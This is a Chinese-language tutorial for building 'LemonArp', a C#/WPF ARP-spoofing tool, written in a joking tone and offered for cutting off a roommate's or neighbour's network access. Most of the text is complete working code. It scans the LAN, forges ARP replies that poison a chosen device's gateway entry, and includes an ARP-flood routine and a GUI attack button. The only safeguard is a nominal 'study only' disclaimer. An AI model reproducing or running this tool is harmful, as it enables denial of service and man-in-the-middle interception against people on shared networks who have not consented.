ARP断网攻击是什么?可以吃吗?如果可以吃它好吃吗?
ARP断网攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。
那就是不可以吃咯?
!???!??!?!?!
它可以做什么?可不可以吃呢?
可以应用于很多方面,例如你有一个占用的网速的室友或蹭WIFI的邻居。
警告:本教程仅作为学习研究,禁止其他用途!
---富强、民主、文明、和谐, 自由、平等、公正、法治, 爱国、敬业、诚信、友善---
进入正题,喵
一、配置开发环境
1.首先需要安装Winpcap,https://www.winpcap.org/install/
2.建立一只WPF项目(C#也可以)
3.我们需要导入2只DLL,待会在下面会有下载链接。
二、配置界面
大概像酱紫:
界面和背景图
二、编码
首先我们需要一些帮助类:
(ArpTools.cs)
using PacketDotNet; using SharpPcap; using SharpPcap.LibPcap; using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.NetworkInformation; using System.Text; using System.Threading; using System.Threading.Tasks; namespace LemonArp { class ArpTool { public event EventHandler<ResolvedEventArgs> ResolvedEvent; public event EventHandler<EventArgs> ScanStopedEvent; private LibPcapLiveDevice _device; private TimeSpan timeout = new TimeSpan(0, 0, 1); private System.Threading.Thread scanThread = null; private System.Threading.Thread arpSpoofingThread = null; public ArpTool(LibPcapLiveDevice device) { _device = device; foreach (var address in _device.Addresses) { if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6) { if (address.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { LocalIP = address.Addr.ipAddress; break; } } } foreach (var address in device.Addresses) { if (address.Addr.type == SharpPcap.LibPcap.Sockaddr.AddressTypes.HARDWARE) { LocalMAC = address.Addr.hardwareAddress; } } GetwayIP = _device.Interface.GatewayAddress; GetwayMAC = Resolve(GetwayIP); } public IPAddress LocalIP { get; private set; } public IPAddress GetwayIP { get; private set; } public PhysicalAddress LocalMAC { get; private set; } public PhysicalAddress GetwayMAC { get; private set; } public void ScanLAN(IP startIP, IP endIP) { var targetIPList = new List<IPAddress>(); while (!startIP.Equals(endIP)) { targetIPList.Add(startIP.IPAddress); startIP.AddOne(); } var arpPackets = new Packet[targetIPList.Count]; for (int i = 0; i < arpPackets.Length; ++i) { arpPackets[i] = BuildRequest(targetIPList[i], LocalMAC, LocalIP); } String arpFilter = "arp and ether dst " + LocalMAC.ToString(); _device.Open(DeviceMode.Promiscuous, 20); _device.Filter = arpFilter; scanThread = new System.Threading.Thread(() => { for (int i = 0; i < arpPackets.Length; ++i) { var lastRequestTime = DateTime.FromBinary(0); var requestInterval = new TimeSpan(0, 0, 1); var timeoutDateTime = DateTime.Now + timeout; while (DateTime.Now < timeoutDateTime) { if (requestInterval < (DateTime.Now - lastRequestTime)) { _device.SendPacket(arpPackets[i]); lastRequestTime = DateTime.Now; } var reply = _device.GetNextPacket(); if (reply == null) { continue; } var packet = PacketDotNet.Packet.ParsePacket(reply.LinkLayerType, reply.Data); var arpPacket = PacketDotNet.ARPPacket.GetEncapsulated(packet); if (arpPacket == null) { continue; } if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i])) { if (ResolvedEvent != null) { ResolvedEvent(this, new ResolvedEventArgs() { IPAddress = arpPacket.SenderProtocolAddress, PhysicalAddress = arpPacket.SenderHardwareAddress }); } break; } } } _device.Close(); Console.WriteLine("exit scan"); if (ScanStopedEvent != null) { ScanStopedEvent(this, new EventArgs()); } }); scanThread.Start(); } public void StopScanLan() { if (scanThread != null && scanThread.ThreadState == System.Threading.ThreadState.Running) { scanThread.Abort(); if (_device.Opened) _device.Close(); } } public PhysicalAddress Resolve(IPAddress destIP) { var request = BuildRequest(destIP, LocalMAC, LocalIP); String arpFilter = "arp and ether dst " + LocalMAC.ToString(); _device.Open(DeviceMode.Promiscuous, 20); _device.Filter = arpFilter; var lastRequestTime = DateTime.FromBinary(0); var requestInterval = new TimeSpan(0, 0, 1); PacketDotNet.ARPPacket arpPacket = null; var timeoutDateTime = DateTime.Now + timeout; while (DateTime.Now < timeoutDateTime) { if (requestInterval < (DateTime.Now - lastRequestTime)) { _device.SendPacket(request); lastRequestTime = DateTime.Now; } var reply = _device.GetNextPacket(); if (reply == null) { continue; } var packet = PacketDotNet.Packet.ParsePacket(reply.LinkLayerType, reply.Data); arpPacket = PacketDotNet.ARPPacket.GetEncapsulated(packet); if (arpPacket == null) { continue; } if (arpPacket.SenderProtocolAddress.Equals(destIP)) { break; } } _device.Close(); if (DateTime.Now >= timeoutDateTime) { return null; } else { return arpPacket.SenderHardwareAddress; } } public void ARPStorm(List<IPAddress> requestIPList) { d = 0; List<Packet> packetList = new List<Packet>(); foreach (var ip in requestIPList) { var packet = BuildRequest(ip, LocalMAC, LocalIP); packetList.Add(packet); } StopARPSpoofing(); _device.Open(DeviceMode.Promiscuous, 20); arpSpoofingThread = new System.Threading.Thread(() => { while (true) { foreach (var packet in packetList) { _device.SendPacket(packet); System.Threading.Thread.Sleep(50); d++; } } }); arpSpoofingThread.IsBackground = true; arpSpoofingThread.Start(); } public void ARPSpoofing1(IPAddress destIP, PhysicalAddress MAC) { var packet = BuildResponse(GetwayIP, GetwayMAC, destIP, LocalMAC); Console.WriteLine("start arp spoofing 1, dest ip {0}", destIP); StartARPSpoofing(packet); } public void ARPSpoofing2(IPAddress destIP, PhysicalAddress destMac, PhysicalAddress wrongMAC = null) { if (wrongMAC == null) { wrongMAC = GetRandomPhysicalAddress(); } var packet = BuildResponse(destIP, destMac, GetwayIP, wrongMAC); Console.WriteLine("start arp spoofing 2, dest ip {0}, dest mac {1}, getway ip {2}, getwaymac {3}", destIP, destMac, GetwayIP, wrongMAC); StartARPSpoofing(packet); } public void StopARPSpoofing() { if (arpSpoofingThread != null && arpSpoofingThread.ThreadState != System.Threading.ThreadState.Unstarted) { arpSpoofingThread.Abort(); if (_device.Opened) _device.Close(); Console.WriteLine("stop arp spoofing"); } } public int d = 0; private void StartARPSpoofing(Packet packet) { d = 0; StopARPSpoofing(); _device.Open(DeviceMode.Promiscuous, 20); arpSpoofingThread = new System.Threading.Thread(() => { while (true) { _device.SendPacket(packet); Thread.Sleep(50); d++; } }); arpSpoofingThread.IsBackground = true; arpSpoofingThread.Start(); } private PhysicalAddress GetRandomPhysicalAddress() { Random random = new Random(Environment.TickCount); byte[] macBytes = new byte[] { 0x9C, 0x21, 0x6A, 0xC3, 0xB0, 0x27 }; macBytes[5] = (byte)random.Next(255); Console.WriteLine(new PhysicalAddress(macBytes)); return new PhysicalAddress(macBytes); } private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac) { var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetPacketType.Arp); var arpPacket = new ARPPacket(ARPOperation.Response, destMac, destIP, senderMac, senderIP); ethernetPacket.PayloadPacket = arpPacket; return ethernetPacket; } private Packet BuildRequest(IPAddress destinationIP, PhysicalAddress localMac, IPAddress localIP) { var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), PacketDotNet.EthernetPacketType.Arp); var arpPacket = new ARPPacket(PacketDotNet.ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP); ethernetPacket.PayloadPacket = arpPacket; return ethernetPacket; } } }
(IP.cs)
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Net; 5 using System.Text; 6 7 namespace LemonArp 8 { 9 class IP 10 { 11 public byte[] IPBytes { get; private set; } 12 13 public IPAddress IPAddress 14 { 15 get 16 { 17 return new IPAddress(IPBytes); 18 } 19 } 20 21 public IP(IPAddress ip) 22 { 23 IPBytes = ip.GetAddressBytes(); 24 } 25 26 public void AddOne() 27 { 28 int i = 3; 29 while (i >= 0) 30 { 31 if (IPBytes[i] == 255) 32 { 33 IPBytes[i] = 0; 34 i--; 35 } 36 else 37 { 38 IPBytes[i]++; 39 break; 40 } 41 } 42 } 43 44 public override bool Equals(object obj) 45 { 46 var ip = obj as IP; 47 for (int i = 0; i < IPBytes.Length; ++i) 48 { 49 if (ip.IPBytes[i] != IPBytes[i]) 50 return false; 51 } 52 53 return true; 54 } 55 56 public override int GetHashCode() 57 { 58 return base.GetHashCode(); 59 } 60 61 public bool SmallerThan(IP ip) 62 { 63 for (int i = 0; i < IPBytes.Length; ++i) 64 { 65 if (IPBytes[i] < ip.IPBytes[i]) 66 return true; 67 } 68 return false; 69 } 70 } 71 }
(ResolvedEventArgs.cs)
1 namespace LemonArp 2 { 3 class ResolvedEventArgs:EventArgs 4 { 5 public IPAddress IPAddress { get; set; } 6 7 public PhysicalAddress PhysicalAddress { get; set; } 8 } 9 }
接着,我们需要定义一些字段,帮助我们使用这些类
1 System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer(); 2 3 private LibPcapLiveDeviceList deviceList; 4 5 private ArpTool arpTool = null; 6 7 private List<Tuple<IPAddress, PhysicalAddress>> IPMACMapList;
Timer你可以使用其他的,但属性就不同了。
在窗口的构造函数中,我们先设定好他们
1 IPMACMapList = new List<Tuple<IPAddress, PhysicalAddress>>(); 2 timer1.Interval = 1000; 3 timer1.Tick += delegate {tit.Text = "攻击次数:" + arpTool.d; };
当窗口加载完成时,我们需要为接下来的ARP攻击做准备:扫描可用的网卡设备
1 deviceList = LibPcapLiveDeviceList.Instance; 2 3 if (deviceList.Count < 1) 4 { 5 throw new Exception("没有发现本机上的网络设备"); 6 } 7 8 foreach (var device in deviceList) 9 { 10 try 11 { 12 arpTool = new ArpTool(device); 13 arpTool.ScanStopedEvent += delegate { this.Dispatcher.BeginInvoke(new Action(async delegate { tit.Text = "IP扫描完成"; await Task.Delay(3000); tit.Text = "请选择要攻击的IP"; sra.Text = "搜索"; })); }; 14 arpTool.ResolvedEvent += arpTool_ResolvedEvent; 15 tit.Text = "网关IP: " + arpTool.GetwayIP + " 本地IP: " + arpTool.LocalIP; 16 stip .Text =clip.Text = arpTool.GetwayIP.ToString(); 17 if (arpTool.GetwayIP.ToString() != "") 18 return; 19 } 20 catch { } 21 }
和一只处理搜索结果的事件:
1 private void arpTool_ResolvedEvent(object sender, ResolvedEventArgs e) 2 { 3 IPMACMapList.Add(new Tuple<IPAddress, PhysicalAddress>(e.IPAddress, e.PhysicalAddress)); 4 this.Dispatcher.BeginInvoke(new Action(delegate { dt.Items.Add(new ListBoxItem() { Content = $"{e.IPAddress} - {e.PhysicalAddress}", ToolTip = e.IPAddress }); })); 5 }
准备工作快要完成了,我们需要在局域网中查找可用的设备,只要是连接到你的WIFI的设备
1 if (sra.Text == "搜索") 2 { 3 IPAddress startIP, endIP; 4 if (!IPAddress.TryParse(stip.Text, out startIP) || !IPAddress.TryParse(clip.Text, out endIP)) 5 { 6 tit.Text = "不正确的IP地址"; 7 return; 8 } 9 10 IP start = new IP(startIP); 11 IP end = new IP(endIP); 12 if (end.SmallerThan(start)) 13 { 14 tit.Text = "开始地址大于结束地址"; 15 return; 16 } 17 18 sra.Text = "停止"; 19 IPMACMapList.Clear(); 20 dt.Items.Clear(); 21 arpTool.ScanLAN(start, end); 22 } 23 else 24 { 25 arpTool.StopScanLan(); 26 sra.Text = "搜索"; 27 }
接下要响应当你选中搜索到的设备时发生的事件
1 private void dt_SelectionChanged(object sender, SelectionChangedEventArgs e) 2 { 3 if (dt.SelectedIndex != -1) 4 dtip.Text = (dt.SelectedItem as ListBoxItem).ToolTip.ToString(); 5 }
准备工作完成,接下来可以发送ARP攻击报文了:
1 if (but.Text == "攻击") 2 { 3 if (dtip.Text != "") 4 { 5 timer1.Start(); 6 var destIP = IPMACMapList[dt.SelectedIndex].Item1; 7 var destMAC = IPMACMapList[dt.SelectedIndex].Item2; 8 arpTool.ARPSpoofing1(destIP, destMAC); 9 but.Text = "停止"; 10 } 11 else { tit.Text = "请选择一只你要攻击的IP"; } 12 } 13 else 14 { 15 timer1.Stop(); 16 arpTool.StopARPSpoofing(); 17 but.Text = "攻击"; 18 }
三、测试
接下来有请,额,我的 ..um..手机上场
攻击中。。。突突突
然后嘞,手机废了,QAQ
开源地址:https://github.com/TwilightLemon/LemonArp